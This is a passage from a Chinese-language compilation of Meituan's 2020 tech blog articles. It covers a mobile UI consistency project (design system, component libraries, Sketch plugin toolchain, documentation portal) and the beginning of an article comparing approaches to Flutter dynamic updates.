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新年将至，年味渐浓。

美团技术年货如期而至。

从 2013 年 12 月 4 日发布第一篇文章，一直到今天，美团技术团队官方

博客已经走过了 7 个春秋。

截止目前，我们总共发布 434 篇技术文章，微信公众号（meituantech）

的关注者超过 27 万。由衷地感谢大家一直以来对我们的鼓励和陪伴！

2021 年春节到来之际，我们精选美团技术博客 60 多篇技术干货以及 10 

多篇国际顶会论文，整理制作成一本厚达 1300 多页的电子书，作为新年

礼物赠送给大家。

这本电子书内容覆盖前端、后台、算法、数据、运维、安全等多个领域，

希望小伙伴们在新的一年里收获满满，成长多多。

也欢迎大家转给有相同兴趣的同事、朋友，一起切磋，共同成长。

最后，祝大家阖家欢乐，健康平安，牛气冲天！
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移动端UI 一致性解决方案

作者：韩洋　彦平　李肖　瀚阳　赵炎

1. 背景

1.1	行业现状与问题

很多技术同学都知道，移动端往往比较侧重业务开发，这会导致人员规模不断扩大，

项目复杂度也会持续增长。而为了满足业务的快速上线，很难去落实统一的设计

规范，在开发过程中由于 UI 缺乏标准导致的问题不断凸显，具体体现在以下 4 个

层面：

 ● 设计层面：由于 UI 缺乏标准化设计规范，在不同 App 及不同开发语言平台上

设计风格不统一，用户体验不一致；设计资源与代码均缺乏统一管理手段，无

法实现积累沉淀，无法适应新业务的开发需求。

 ● 开发层面：组件代码实现碎片化，存在多次开发的情况，质量难以保证；各端

代码 API 不统一，维护拓展成本较高，变更主题、适配 Dark Mode 等需求难

以实现。

 ● 测试层面：重复走查，频繁回归，每次发版均需验证组件质量。

 ● 产品层面：版本迭代效率低，版本需求吞吐量低，不具备业务的快速拓展能力。

1.2	外卖移动端UI 一致性情况

近来年，美团外卖业务开始由发展期走入成熟期，这更要求对细分场景的快速迭代。

目前，外卖平台承载了餐饮、商超、闪购、跑腿、药品等多个业务品类，用户入口则

前端



2　>　美团 2020 技术年货

覆盖了美团 App 外卖频道、外卖 App、大众点评外卖频道等多个独立应用。由于前

期侧重需求的快速上线，设计层面缺乏标准化的规范约束，UI 设计风格不统一，也

存在多次开发的情况，目前的维护成本较高，在开发过程中逐渐暴露出一些问题，主

要体现在以下三个层面。

指标一：移动端UI 问题统计

在 Ones（美团内部研发需求管理工具）中，单个版本的 UI 适配问题占比超过总 Bug

数的 11.82%，亟待优化；交互适配问题在绝大多数版本中均有出现，一定程度上反

映了其发生的普遍性。

指标二：需求承接率数据统计

用户侧 UI 需求吞吐率达 18.3%，目前用户侧 UI 需求吞吐率较低，亟待解决。

指标三：需求入版情况统计

目前各版本 UI 同学都会提出一定数量的视觉优化需求，但实际入版量仅为三分之一

左右，未上线的原因均为 RD 开发时间不足。
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从长远角度来看，随着固有业务渗透率的不断饱和，未来一段时间内，美团外卖还有

开拓新业务、进入新市场的需求，如国际化 App、闪购 App 等，需要移动端能够高

效地组建新业务 App。在此背景下，移动端具备快速调整适应的 UI 展现能力是重中

之重。为了达到上述目标，需要 PM/UI/RD 共同维护一套设计规范，在产品上统一

风格，在源头上做到统一设计，并在代码中统一进行实现。

1.3	UI 一致性项目

基于上述开发工作中的切实痛点，以及未来可预见的移动端能力需求，迫切需要一套

统一的 UI 设计规范，以此沉淀设计风格，建立统一的 UI 设计标准。

UI 一致性项目自 2019 年 5 月份被提出，是外卖 UI 设计团队与研发团队的共建项

目，该项目是为了改善用户端体验一致性，提升多技术方案间组件的通用性和复用

率，降低整体视觉改版的研发成本。通过抽离成熟的业务场景，建立可提供高质量、

可扩展、可统一配置的基于 Android/iOS/MRN 的组件代码库，使之具备支持多业务

高层次的代码复用能力，进而提高 UI 业务中台能力，使项目保持高度一致性。

为了帮助团队提升产研效率，外卖技术成立了袋鼠 UI 共建项目组，将门户建设、工

具链建设以及组件建设统一管理统一规划，并将工具链的品牌确定为“积木”，此前

我们已经写过两篇文章《积木 Sketch Plugin：设计同学的贴心搭档》、《积木 Sketch

插件进阶开发指南》介绍过积木相关的内容，本文主要介绍 UI 一致性。

https://tech.meituan.com/2020/05/21/waimai-sketch-plugin.html
https://tech.meituan.com/2020/11/05/native-web-pratice-in-meituan.html
https://tech.meituan.com/2020/11/05/native-web-pratice-in-meituan.html
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UI 一致性是绝大部分研发团队面临的共性问题，大家对落地设计规范，提高 UI 中台

能力，提升产研效率具有强烈的诉求。通过 UI 一致性的建设，不仅可以在品牌上实

现体验升级，更可以全面提高产研效率，为业务的快速迭代提供有力支持和有效保

障。统一的品牌符号、品牌特征，有助于加深产品在用户心目中的印象。统一的用户

界面和交互形式，能帮助用户加深对产品的熟悉感和信任感。而一个好的设计语言可

以在体验上为产品加分，也能够更好的创造一致性体验。

2. UI 一致性整体方案

为了帮助更多的业务部门定制符合一致性原则的专属设计风格，外卖技术部在实践中

不断总结经验，开发了一套通用的 UI 一致性解决方案。该方案通过 UI 一致性工具链

落地项目建设，并打造一整套的闭环 UI 开发流程，目前已经取得了一定的成果，以

下系具体方案的介绍。

2.1	方案全景

外卖 UI 一致性套件由积木工具链、代码组件库、定制化设计云协作平台以及文档化

说明（官网）四部分组成。

1. 积木工具链：通过建立包含相同设计元素的统一物料市场，PM 通过 Axure

插件拾取物料市场中的组件产出原型稿；UI/UE 通过 Sketch 插件落地物料市

场中的设计规范，产出符合要求的设计稿。未来，希望通过高保真原型输出，

可以给中后台项目、非依赖体验项目提供更好的服务体验，赋予产品同学直

接向技术侧输出原型稿的能力。

2. 代码组件库（Android、iOS、MRN）：设计稿中的组件与 RD 代码仓库中组

件一一对应。

3. 文档化说明：官网详细描述了代码组件库的集成方式、组件的使用方法，降低

开发上手难度，只需要理解接口和职责即可进行业务开发。

4. 定制化设计云协作平台：与美团内部的印迹团队（云协作平台）合作开发，在

RD 的设计稿中标注了哪些是代码组件库中已有的元素，避免重复开发，同时
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关联了官网中该组件的使用说明，是代码组件库与官网的纽带。

外卖 UI 一致性解决方案

2.2	接入指南

1. 设计师逐步将设计语言沉淀为设计规范（包括组件、颜色、字体、图片等）上

传至官网供整个设计团队查阅，同时将其量化并内置于积木 Sketch 插件中；

开发同学则将其代码化，针对 Android/iOS/MRN 三端进行组件库开发。

2. 设计师使用积木 Sketch 插件绘制设计稿，可以保证设计元素均从既定的设计

标准中获取，产出符合业务设计规范的设计稿，而代码组件库中也有对应的

实现。

3. 绘制完成的设计稿上传至印迹云协作平台，交付开发同学进行设计稿还原。

4. 开发同学拿到设计稿后，就可以知道本次需求哪些组件已内置于代码组件库

中，并可以点击设计稿中的链接，直接查看组件的使用说明。
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UI 一致性协作流程闭环

2.3	方案落地

虽然 UI 一致性在落地上会增加开发同学不少的工作量，推进一致性建设也是一个艰

难的工作，由于成本较高，且无法量化评估收益，很多团队最终未达到预期效果，但

一旦有效运作起来后，团队将获得丰厚的回报。UI 一致性的建设需要设计者对现有

状态有足够的认识，对业务有充分理解，以及优秀的设计能力，同时还要不断地进行

实践和优化。为了保证一致性项目的成功落地，避免“半途而废”，我们制定了一系

列的推进措施：

1. 项目小组不能脱离日常需求开发工作。这样可以保证设计师所沉淀的设计元

素始终来自于最新的业务场景，同时项目产出可以快速应用到最新的版本中

得以验证。

2. 优先选择受视觉因素影响较大、投入产出比高的模块场景进行改造，化繁为

简，确定最小验证闭环 （MVP，Minimum Viable Product），在实践中不断

优化，进而跑通整个流程。

3. 项目推进由 UI 同学按版本提出需求，移动端排期并落地实施，由 UI 统一验收。

4. 建立阶段性目标，并完成最近三期工作的具体规划，定期复盘完成情况，保

证项目的持续推进。
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2.4	一致性成果

经过一段时间的 UI 一致性建设，在资源一致性方面，外卖 App 团队已经完成了近

百个 Iconfont 的替换工作，有效减小了安装包的体积。在组件代码库建设方面，完

成组件替换三十多处，中等业务需求平均节约 3pd 人力；在工具链方面，根据 UI/

UE 提供的数据，对于强依赖设计资源的需求，在使用积木 Sketch 插件后，提效

能够达到 30% 以上，对于 UI 资源依赖不强的流程需求，平均提效可以达到 50%

以上。

3. 设计体系建设

细化来看，UI 一致性整体方案主要分为两个部分，一个是设计体系建设，另一个则

是工具链建设。设计体系建设是基础，主要是设计师沉淀设计风格，建立统一的 UI

设计标准的工作，而工具链建设则是支撑，是开发人员通过开发一系列的工具将开发

过程闭环，实现设计体系落地。

3.1	外卖DPL

DPL（Design Pattern Library）是一份面向 UED 设计人员的文档化说明，描述了

设计模式库的规范以及应用场景等，外卖 DPL 主要包括组件搭建规范以及资源一

致性两部分。DPL 的背面是技术实现，一般体现在 Android/iOS/RN 代码框架中，

比如阿里的 FusionDesign 库、腾讯的 QMUI 库等，这些封装好的代码组件面向

程序开发人员。在未建立 DPL 模型之前，开发同学拿到设计稿进行视觉还原后，

需要修改多次，才能最终通过设计师的验证，极大影响了开发效率，还降低了需求

吞吐率。
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未建立外卖 DPL 模型之前开发流程

而通过 DPL 实现设计 - 开发流程的闭环，UI 同学由于设计规范的标准化，可使出稿

效率、走查效率显著提升，重复组件甚至无需走查；对于 RD 同学来说，组件库中的

组件在配置正确的情况下，由于已经经过了历史版本的检验，适配问题出现较少，无

需重复进行视觉的修正；对于设计团队来说，优秀的设计体系具有包容性且充满生命

力，好的设计模式库能够帮助实现规范化，从而减轻界面开发的工作量，提高一致

性；而对于设计师来说，建立 DPL 有助于减少误用、滥用以及无效的创新。

3.2	组件搭建

在长期的版本迭代中，随着功能的不断增加以及 UI 的持续改版，新旧样式混杂，维

护极为困难。设计师通过将页面走查结果归纳梳理，制定设计规范，从而选取复用性

高的组件进行组件库搭建。通过搭建组件库可以进行规范控制，避免控件的随意组

合，减少页面之间的差异；组件库中组件满足业务特色，同时可以应对不断变化的环

境，具有云端动态调整能力，可以在规范更新时进行统一调整。

在不影响需求实现以及设计效果的前提下，只有在方案设计中尽可能使用组件，提升

组件设计稿中的覆盖度，才可能真正通过组件库来提效。而除了在新的需求中使用组

件，还需要将已有页面内容尽量替换成组件，才能避免页面升级时的重复修改问题，

真正提高产研效率。在进行组件库建设时要注意以下几点。
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选择合适粒度

组件的粒度选择曾是困扰我们很久的一个问题，虽然有构建设计系统的核心理论——

原子设计理论为指导，即按照“原子、分子、组织、模板、页面”五个层面进行页面

设计。这一理论对于从零开发新应用没有任何问题，但进行一致性改造的 App，往

往已经暴露出很多设计问题，已经存在数百个成熟的线上页面，改造存在非常大的困

难，必须根据具体业务选择合适粒度。在进行组件制作前，项目同学对外卖的近百个

页面进行了梳理，对使用到的组件进行了分类，并根据组件的使用频率进行排序，制

定了逐步替换计划。从而避免了组件库做的很全、花费了很多的人力，但实际很多组

件都用不上，或者开发的组件过少，覆盖场景不足等问题。

我们将走查结果与设计师反复交流，发现复用性较高的组件大体可以分为两类：第一

类“基础控件”，也就是类似于标签、按钮、开关等具备基础功能的元素，对应原子

理论中的原子；第二类“业务组件”，类似于商品卡片等，是由“基础控件”组成（比

如商品卡片由“标签控件”与“图片控件”组成），同时“业务组件”还能相互组合，

成为更高阶的“复杂组件”，类似于原子理论中的分子。“业务组件”的组合又是千变

万化的，不同样式的业务组件可以组成类似“商家列表”、“菜品列表”等“模板”，

而“模板”与“基本控件”组合在一起，就成为了“页面”。

外卖 DPL 模型建立
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具备拓展性

组件必须具备一定的可配置属性才能提升适用场景。可配置属性体现在三个方面：组

件支持局部元素展示隐藏，例如商品卡片的标题、说明、价格可根据接口数据控制展

示逻辑；组件支持多种样式，例如商品卡片的左图右文排列、上图下文排列；组件支

持业务方配置主题，如调整高亮色、调整对齐方式等。

组件应具有拓展性

支持统一管理

组件管理功能对外卖 UI 一致性起着至关重要的作用，这主要体现在两方面：首先是

设计风格沉淀，目前袋鼠 UI 已经形成了自己的独特风格，外卖设计团队根据设计规

范，对符合 UI 一致性外卖业务场景的组件不断进行抽象及建设，沉淀出越来越多的

通用业务组件，这些组件需要及时扩充到 Library 中，供团队成员使用；另外一个作

用则是保持团队使用的均为最新组件。由于各种原因，组件的设计元素（色彩、字体、

圆角等属性）可能会发生变更，需要及时提醒团队成员更新组件，从而保持所有页面

的一致性。
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3.3	资源一致性

UI 设计语言与自身业务关联性很强，美团很多业务包括外卖、酒旅、团购等都有一套

自己的设计系统。“通用”意味着无法满足具有业务特色的需求，不同业务的组件、色

彩系统、动效、字体样式等千差万别，其中任意一环的缺失都会导致一致性被破坏。

设计语言并不是一个抽象的概念，大家提到美团就想起美团黄，想到袋鼠，想到菜品卡

片列表，想到骑着摩托车穿着印有“美团外卖”衣服的骑手，通过设计语言可以传达品

牌主张和设计理念。目前，袋鼠 UI 已经形成了一套属于自己的独特风格，对于一致性

元素处理有了一套自己的标准，对于产品的设计者而言，必须将这种风格化延续，才能

使我们整个项目具备高度的一致性，才能保持“袋鼠特色“，保证吸引力。

3.3.1	图片

建立插画库

插图作为一种视觉语言，是品牌识别度的关键核心元素，与单纯的文案信息不同，图

形化在直观描述固有信息的同时，也在塑造情感背景，使用户更具沉浸感和共情性。

插画在提升产品用户体验的同时完成商业目标，在表达效果及生产效率上有独特的优

势，在追求效率的互联网产品中被大量地运用。

由于之前产品中的插图未经系统整合，而插画师的个人风格明显，不同的设计师在图

形化的工作协同中，风格很难复现，而单纯由一名设计师去完成整体业务的插画建设

工作也存在一定风险。不同设计师之前画过的元素无法互通，造成很多元素重复设

计、风格不统一，缺乏系统性地创作和整理，无法最大化地提升生产效率，并且影响

产品的品质感。所以插图体系在保持品牌一致性、提升工作效率以及规避风险上尤为

重要。
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插画规范示例

使用 Iconfont

Iconfont 可译为图标字体，顾名思义就是用字体文件取代图片文件来展示图标、特殊

字体等元素的一种方法。简单来说，Iconfont 就是把多个图标文件打包为 ttf 字体文

件，注册到系统中，App 可以像使用字体一样使用图标。其原理可以简单理解为通过

ttf 字体文件维护一个 Unicode 码与图形的映射关系。当使用 Iconfont 为项目助力的

时候，配置多个图标不再需要去下载数个 PNG 文件，仅需要维护一套 ttf 字体文件即

可。Iconfont 不仅具有矢量性、可自由变化大小的特点，而且支持任意改变颜色。从

项目角度来看，由于无需针对不同手机分辨率内置多张图片，可以一定程度减小包体

积，而且方便 UI 同学对图标进行统一管理，为无用 icon 和相似 icon 检测做基础。

使用 iconfont 替换项目中的图片

归档图片文件

当 App 发展到一定阶段，必然面临着包体积会越来越大，无用图片与相似图片也会

越来越多的问题。同时，由于开拓新业务而不断涌现的新场景，又不可避免地新增大

量的图片。总结来看，图片文件在一致性项目中需要解决两个问题，即存量图片的处
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理以及新增图片的管理。

对于存量图片，必须判断其合理性，项目中存在大量相似图片，这些图片可能仅是

padding 不同，或者颜色尺寸存在微小差异，可以通过脚本扫描相似图片，根据图片

的特征 Hash 判断图片的相似度，相似度高的图片根据 UI 建议，保留一张即可。那

如何防止新增图片“重蹈覆辙”呢？通过建立图片管理后台，将图片按场景分类，标

准图片需从组件代码库中选取，新增图片执行 PR 策略，需相关负责人审核，可有效

防止相似图片的堆积问题。

一致性项目实施前项目中的相似图片

3.3.2	动效

动效是指那些那些能够为产品赋予生机的动态界面元素及视觉效果，这些交互效果通

常与特定的响应行为相关，甚至包括那些与交互行为没有直接关联的临时状态。精细

而恰当的动画效果可以传达状态，增强用户对于直接操纵的感知，通过视觉化的方式

向用户呈现操作结果。

随着外卖业务的不断增加，动效的使用比重在不断增加，重要性日渐凸显，也是增强

用户体验与竞品拉开差距的重要因素，因此，统一规范的使用动效尤为重要。通过动

效库建设，UI 层面可以承载品牌、传递情感，加深用户对 App 的印象，让用户放松、

愉悦；RD 层面同一组件可在多场景直接复用，还降低了研发成本。
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动效

3.3.3	颜色

颜色可以起到传递品牌信息、区分信息的所属关系、标明控件的选中状态以及对内容

的信息进行分层级展示等功能。重要的信息需要在页面中被突出展示。系统级色彩体

系主要定义了外卖的主要颜色、文字颜色、辅助颜色以及标准渐变色，颜色在一定时

期内不再支持新增。通过将标准色板内置于积木 Sketch 插件中，限制 UI 绘制设计

稿时的使用范围，而 RD 同学仅可通过代码组件库中选取颜色，保证色值的准确性，

也便于进行主题定制。
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定义颜色使用场景

3.3.4	字体

字体是体系化界面设计中最基本的构成之一。用户通过文本来理解内容和完成工作，

科学的字体系统将大大提升用户的阅读体验及工作效率。设计师在字体设计过程中

需要关注非常多的方面，比如字体 family、字距、行高、段落等等。如何让文字看

起来更自然，是设计师团队一直探寻的答案，UI 同学根据文字的层级关系，规定了

Headline、Subtitle、Body、Button 以及 Caption 的文字使用规范，根据设计稿中

文字的位置，就可确定文字的具体样式。

定义字体使用规范
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4. 工具链建设

要想保持 UI 一致性，就不能打破规则。外卖 UI 一致性套件由积木工具链、代码组件

库、定制化设计云协作平台以及官网四部分组成，通过将这四部分连接起来，形成一

个闭环，把整个工作流限制在标准操作以内。

4.1	积木 Sketch 插件

在之前的文章中，我们已经对积木插件进行了详细介绍，这里只作简要概述，介绍其

在一致性项目中发挥的作用。从设计阶段颜色的选择、字体的规范、控件的样式，到

RD 开发阶段代码的统一管理、API 的制定、多端的实现方式都必须遵守一套规则，

通过积木 Sketch 插件落地设计规范，可以保证设计元素均从既定设计标准中获取，

产出符合业务设计语言的设计稿，而各平台 UI 代码库中也有对应实现，从而使积木

插件成为 UI 一致性的抓手。

积木 Sketch Plugin 平台化示意
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4.1.1	插件功能

积木 Sketch 插件经过一段时间的建设，目前已具备 Iconfont、标准色板、组件库、

数据填充、文字模板等功能。通过 Iconfont 可以从公司图标库中拉取设计团队上传

的 SVG 图标，并直接应用于设计稿；标准色板可以限定设计师的颜色使用范围，确

保设计稿中的颜色均符合设计规范；组件库中包含从外卖业务抽离的基本控件与通用

组件，具有可复用和标准化的特点，并与不同开发语言组件库中的代码一一对应；数

据填充库可以使设计师采用真实数据进行填充，使设计稿更贴近线上环境；文字模

板中内置了字体样式的使用规范，根据设计稿中文字的位置，点击文字图层即可直

接应用。

积木 Sketch Plugin 功能演示

4.1.2	物料市场

通过 Sketch 管理后台，设计师可以将配色规范、文字规范、话术、Iconfont、组件
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库上传至云端并与整个设计团队中成员共享，并可实现设计资产的版本管理。通过将

Sketch Library 存储在后台物料市场，设计师可以与团队成员共享组件（Symbol），

Library 可以实现“一处更改，处处生效”，即使是关联了远程组件库历史的设计稿检

测到更新时，也会收到 Sketch 通知，确保工作中使用的是最新组件。

积木 Sketch Plugin 物料管理后台

4.2	代码模型建设

为了满足中小企业的需求，越来越多的开源组件库诞生，但开源代表着“通用”，无

法满足业务特色的需求，于是很多企业也开始做起了自己的组件库。通过建立代码组

件库，能帮助开发同学快速搭建 App 页面，减少设计与开发沟通成本，统一体验规

范等。

代码组件库模型
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4.2.1	代码库功能

提高项目可维护性

由于组件库中的组件职责单一，降低了系统的耦合度，开发人员可以很容易地了解该

组件提供的能力。组件可以自由替换、组合为高阶组件，在进行组件更新时仅需修改

一处。每个项目成员维护一定数量的组件，让团队中每个人都能发挥所长，可以最大

化团队的开发效率。

实现文档化

组件接口有统一的规范，降低新人的上手难度，新成员只需要理解接口和职责即可开

发组件代码，由于代码的影响范围仅限于组件内部，对项目的风险控制也非常有帮

助。通过对组件统一管理，实现代码的积累沉淀与有效复用，全面提升了新业务的需

求开发效率。

便于单元测试

由于组件职责单一而清晰，对外仅暴露接口，概念上可以把组件当成一个函数，输入

对应着输出，这让自动化测试变得更加简单。

实现无障碍等定制化功能

无障碍功能可以改善残障人士的用户体验，组件库中的组件资源高内聚，完全由自身

控制加载，不与全局或其他组件产生影响。组件的加载、渲染路径清晰可控，对于组

件功能定制，实现类似于无障碍等功能较为方便。

4.2.2	方案设计

统一配置文件

前文也提到，外卖业务入口覆盖外卖独立 App、美团外卖频道以及大众点评外卖频

道等，外卖组件需要在不同的移动端上适配宿主 App 的 UI 风格及交互体验，这就需

要组件库支持主题配置功能。由于主题涉及 Android/iOS/MRN 多端，需要一套通用
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的主题配置文件。经过了各端开发同学与设计师的多轮讨论，最终确定了包含主题颜

色、文字外观、组件风格等内容的主题描述文件格式。配置文件通过下发，就可以实

现全局替换主题的功能。

{
  // 主题颜色
  "rooBrandColors": {
    "rooBrandPrimary": "#FFCC33"
  },
  // 文本外观
  "rooTextAppearance": {
    "rooTextAppearanceHeadline1": {
      "fontFamily": "sans-serif-medium",    // 字体
      "textStyle": "normal",                // 风格（normal/bold/italic）
      "textSize": 44,                         // 字号
    }
  },
  // 组件风格
  "rooStyle":{
      "rooButtonStyle": {
        "textAppearance": "?attr/rooTextAppearanceButton",
        "backgroundColor": "?attr/rooBrandPrimary",
        "cornerRadius": 0,
      }
  }

搭建全平台组件库

目前，市面上耳熟能详的组件库包括阿里的 Antd Desigin、Fusion Design 以及美

团的 Roo Design 等，基本都是服务于 Web 开发的组件库，通过这些组件库可以快

速搭建一些中后台系统。为什么没有知名的 Native 开源组件库呢？因为每个应用的

主题、风格以及交互体验都是不同的，而这些不同恰恰是传达品牌主张和设计理念的

灵魂，因此必须结合业务，针对 Android/iOS/MRN 三端进行组件库开发。通过搭建

全平台代码组件库，可以保证同一个 UI 组件在各端表现一致，进行 UI 升级时降低改

错或遗漏的风险，除此之外，还能降低测试压力，提高需求的吞吐率。

4.2.3	示例应用

我们针对 Android/iOS/MRN 三端代码开发了示例工程，通过示例工程，不仅可以帮
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助 UI 同学完成组件验收，还能帮助开发同学快速查阅可以应用的所有组件，了解其

使用方式以及进行代码调试。

组件库 demo 示例

4.3	官网门户建设

官网相当于项目的门面，一个好的门面才能吸引更多的用户，才能更好地对项目进行

推广。官网作为设计师与开发同学沟通的媒介，需要两者共同维护。通过官网可以帮

助团队内设计师沉淀设计风格，建立统一的 UI 设计规范，帮助 RD 同学进行组件文

档管理与查阅。

4.3.1	官网功能

当前的官网主要由四部分组成，分别是设计语言、组件库、插画库以及资源下载，分

别服务于 UI 和 RD 同学。
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外卖平台化官网导航栏

设计语言

UI 一致性项目中采取了“原子理论”的构成原理，即从最小的元素开始定义，进而

将这些元素按照规则进行组装，拼接成组件，最后通过这些组件拼接成最终的页面，

这是一个由点到面的过程。设计语言章节主要服务于 UI/UE 同学，该章节通过视

觉、设计模式、动效等三个子章节使得读者能够快速了解项目的设计规范，从而快

速上手。

组件库

组件库是设计模式中各种元素的具体实现，在这个页面描述了组件的使用方式。

插画库

插画库中则介绍了插画的使用场景，插画的绘制规范以及插画案例展示。

资源下载

提供积木工具链产品下载功能。

外卖平台化官网
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4.3.2	方案设计

由于官网以纯粹的图文展示为主，且迭代频率较快，因而选择了当下较为普遍的文

档 - 网站生成系统，即只需按照一定规范将书写的 Markdown 文档放至相应目录，

前端自动解析后生成导航，并且支持多语种、图片、文件、视频等素材。这种方式极

大地缩短了官网的开发周期，即便是没有前端经验的同学也能快速上手。

为了方便 UI 同学对官网文档的修改，我们基于文档网站生成系统搭建了在线编辑平

台。通过该平台，相关人员可以直接做到在线编辑、发布，节约了 UI 同学与 RD 同

学的沟通成本以及发布成本。填充期间，使用者可以实时预览编辑的内容，修改后只

需点击保存即可立即更新到网站中。

官网支持平台化功能，不同业务方可以创建属于自己的文档站点，一个好的文档站点

对于设计组的方案推广、外部接入都大有裨益。

外卖平台化官网录入后台

4.4	工具链的闭环

当我们信心满满的把 UI 一致性解决方案推广到日常开发中时，除了听到可以提升效

率的褒奖外，开发同学对项目的吐槽声也常常传入我们的耳边，“怎么才能知道设计

稿中的哪个组件已经开发完成了？”，“查询这个组件的使用方法好麻烦，每次都要去
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官网检索”，“规范颜色、图标的名称是什么？怎么才能引用到？”我们无法限制别人

的选择，所以只能让这套体系变得更好用，如果不去优化整个流程，将其串联起来形

成闭环，后面整个项目可能都会慢慢崩塌，所以我们对项目进行了重新复盘，经过大

家集思广益，终于找到了能将工具链体系打通的解决方案：设计稿作为衔接 RD 与 UI

的纽带，可以把官网与代码仓库打通。

我们与美团内部的印迹团队合作开发，然后定制了一个设计云协作平台，在给 RD 的

设计稿中标注了哪些是代码组件库中已有的元素，避免了重复开发，同时关联了官网

上该组件的使用说明，RD 同学在开发过程中遇到组件使用问题无需检索，点击即可

跳转至使用文档。后期我们还将颜色、iconfont 以及插画库中图片也进行了关联，真

正做到了一致性元素的全覆盖。

与印迹合作支持组件展示的云协作平台

加入我们

UI 一致性项目原本只是外卖技术团队提升 UI/RD 协作效率的一次尝试，现在已经作

为全面提升产研效率的媒介，承载了越来越多的功能。围绕设计日常工作，提供高效

的设计元素获取方式，让工作变得更轻松，是我们的核心目标。如何推动设计规范落

地，并且输出到各个业务系统灵活使用，是我们持续追寻的答案。探寻研发和设计更
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为高效的协作模式，是我们一直努力的方向。

如你所见，通过 UI 一致性建设可以帮助设计团队提升设计效率、沉淀设计语言以及

减少走查负担；让 RD 同学面对新项目时可以专注于业务需求，而无需把时间耗费在

组件的编写上；减少 QA 工作量，保证控件质量无需频繁的回归测试；帮助 PM 提高

版本迭代效率及版本需求吞吐量，提供业务的快速拓展能力。当然，我们除了希望制

作一流的产品，也希望可以让大家在繁忙的工作中得以喘息。我们会继续以设计语言

为依托，以工具链建设为抓手持续进行 UI 一致性建设，不断提高移动端 UI 业务中台

能力。

如果你也想参与我们的 UI 一致性项目建设，欢迎加入我们！
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 ● 感谢晓飞、彦平、杜瑶、冰冰、云鹏对项目的大力支持。
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美团外卖Flutter 动态化实践

作者：尚先

一、前言

Flutter 跨端技术一经推出便在业内赢得了不错的口碑，它在“多端一致”和“渲染

性能”上的优势让其他跨端方案很难比拟。虽然 Flutter 的成长曲线和未来前景看起

来都很好，但不可否认的是，目前 Flutter 仍处在发展阶段，很多大型互联网企业都

无法毫无顾虑地让全线 App 接入，而其中最主要的顾虑是包大小与动态化。

动态化代表着更短的需求上线路径，代表着大大压缩了原始包的大小，从而获得更高

的用户下载意向，也代表着更健全的线上质量维护体系。当明白这些意义后，我们也

就不难理解，在 Flutter 的应用与适配趋近完善时，动态化自然就成为了一个无法避

开的话题。RN 和 Weex 等成熟技术甚至让大家认为动态化是跨端技术的标配。

美团外卖 MTFlutter 团队从 2019 年 9 月开始对动态化进行研究，目前已在多个业

务模块上线，内部项目代号 “Flap” 。

二、Flap 的特点与优势

Flap 研发的初心是为了提供一个完整解决方案，而不是一个过渡方案。项目组思考

了当下最痛的点并逐一列出，然后再根据目标来做具体选型。在前期，只有需求考虑

得越周全，后续的架构和研发才会越明确。在研发过程中，团队应该坚守底线，坚守

初心，不断攻克困难，完成昔日定下的目标。

2.1	核心目标

 ● 通用性，保持 Flutter 多平台支持的能力且方案无平台差异。

 ● 低成本，动态化对齐 Flutter 生态和常规开发习惯，且可低成本转化现有的 

Flutter 页面。



前端　<　27

 ● 适用性，避免包过大、不稳定等不利于应用的缺陷。

 ● 高性能，保留 Flutter 渲染性能极佳的特点。

2.2	动态化选型

a.	产物替换

选型中首先考虑到的是下发产物替换，官方在也曾经推出了 Code Push 方案，甚

至可以支持 Diff 差量下载，但是在 2019 年 4 月被叫停，这里引用一下官方的发言 

Flutter/issues/14330：

 To comply with our understanding of store policies on Android and iOS, 

any solution would be limited to JIT code on Android and interpreted 

code on iOS. We are not confident that the performance characteristics 

of such a solution on iOS would reach the quality that we demand of our 

product. (In other words, “it would be too slow”.)

 There are some serious security concerns. Since these patches would 

essentially allow arbitrary code execution, they would be extremely 

attractive malware vectors. We could mitigate this by requiring that 

patches be signed using the same key as the original package, but this 

is error prone and any mistake would have serious consequences. This 

is, fundamentally, the same problem that has plagued platforms that 

allow execution of code from third-party sources. This problem could 

be mitigated by integrating with a platform update mechanism, but this 

defeats the purpose of an out-of-band patching mechanism.

简而言之，就是官方对动态化后的性能没有自信，并且对安全性有所顾虑。之前，官

方提供方案的局限性也十分明显。比如对 Native-Flutter 混合 App 支持不友好，并

且无法进行灰度等业务定制操作，所以不能满足通用性和高性能的核心目标。

https://github.com/flutter/flutter/issues/14330
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b.	AOT	搭载	JIT

Flutter 在 Release 模式下构建的是 AOT 编译产物，iOS 是 AOT Assembly，

Android 默认 AOTBlob。 同时 Flutter 也支持 JIT Release 模式，可以动态加载 

Kernel snapshot 或 App-JIT snapshot。如果在 AOT 上支持 JIT，就可以实现动

态化能力。但问题在于，AOT 依赖的 Dart VM 和 JIT 并不一样，AOT 需要一个编

译后的 “Dart VM”（更准确地说是 Precompiled Runtime），JIT 依赖的是 Dart VM

（一个虚拟机，提供语言执行环境）；并且 JIT Release 并不支持 iOS 设备，构建的

应用也不能在 AppStore 上发布。

实现此方案需要抽离一份 DartVM 独立编译，再以动态库的形式引入项目。通过初步

测试，发现会增大包体积 20MB+，这超过了 MTFlutter 之前做 Flutter 包体积优化

的总和。进一步让 Flutter 包体积成为推广与接入业务方的巨大阻碍，不满足我们对

适用性的要求。

c.	动态生产	DSL

Native 侧本身具备 JS 动态执行环境，利用这个执行环境动态生成包含页面和逻辑事

件绑定 DSL，进而解析为 Flutter 页面或组件，也可以实现动态化诉求。技术思路接

近 RN，但与其不同的是利用 Flutter 渲染引擎和框架。这种先将代码执行起来再获

取 DSL 的手段，我们简称为动态生产 DSL。

此方案可以很好地支持逻辑动态化，但弊端也比较明显。首先要对齐 Flutter 框架，

JS 侧的开发量很大且开发体验受损。另外，对 JS 的依赖偏重，构建的 JS 框架本

身解释执行有一定开销，对于页面逻辑与事件在运行中需要频繁地进行 Flutter 与 JS 

的跨平台通信，同样也会产生一定开销。这不能满足 MTFlutter 团队对高性能的诉

求。更严重的是，此方案对开发同学的开发习惯并不友好，将 Dart 改为 JS，现有的 

Flutter 开发工具无法直接使用，这与低成本诉求背道而驰。

https://github.com/flutter/flutter/wiki/JIT-Release-Modes
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d.	静态生产	DSL

前面说 “将代码执行起来再获取 DSL 的手段，我们简称为动态生产 DSL”，那么代

码不执行直接转换 DSL，就称为静态生产 DSL 方案。

静态生产的特点是抹平了平台差异，因为 input 是 Dart source 与平台无关，直接

将 Dart source 内的完整信息通过一层转换器转换到 DSL，然后通过 Native 和 

Dart 的静态映射和基础的逻辑支持环境，使得其可以在纯 Dart 的环境下渲染与

交互。

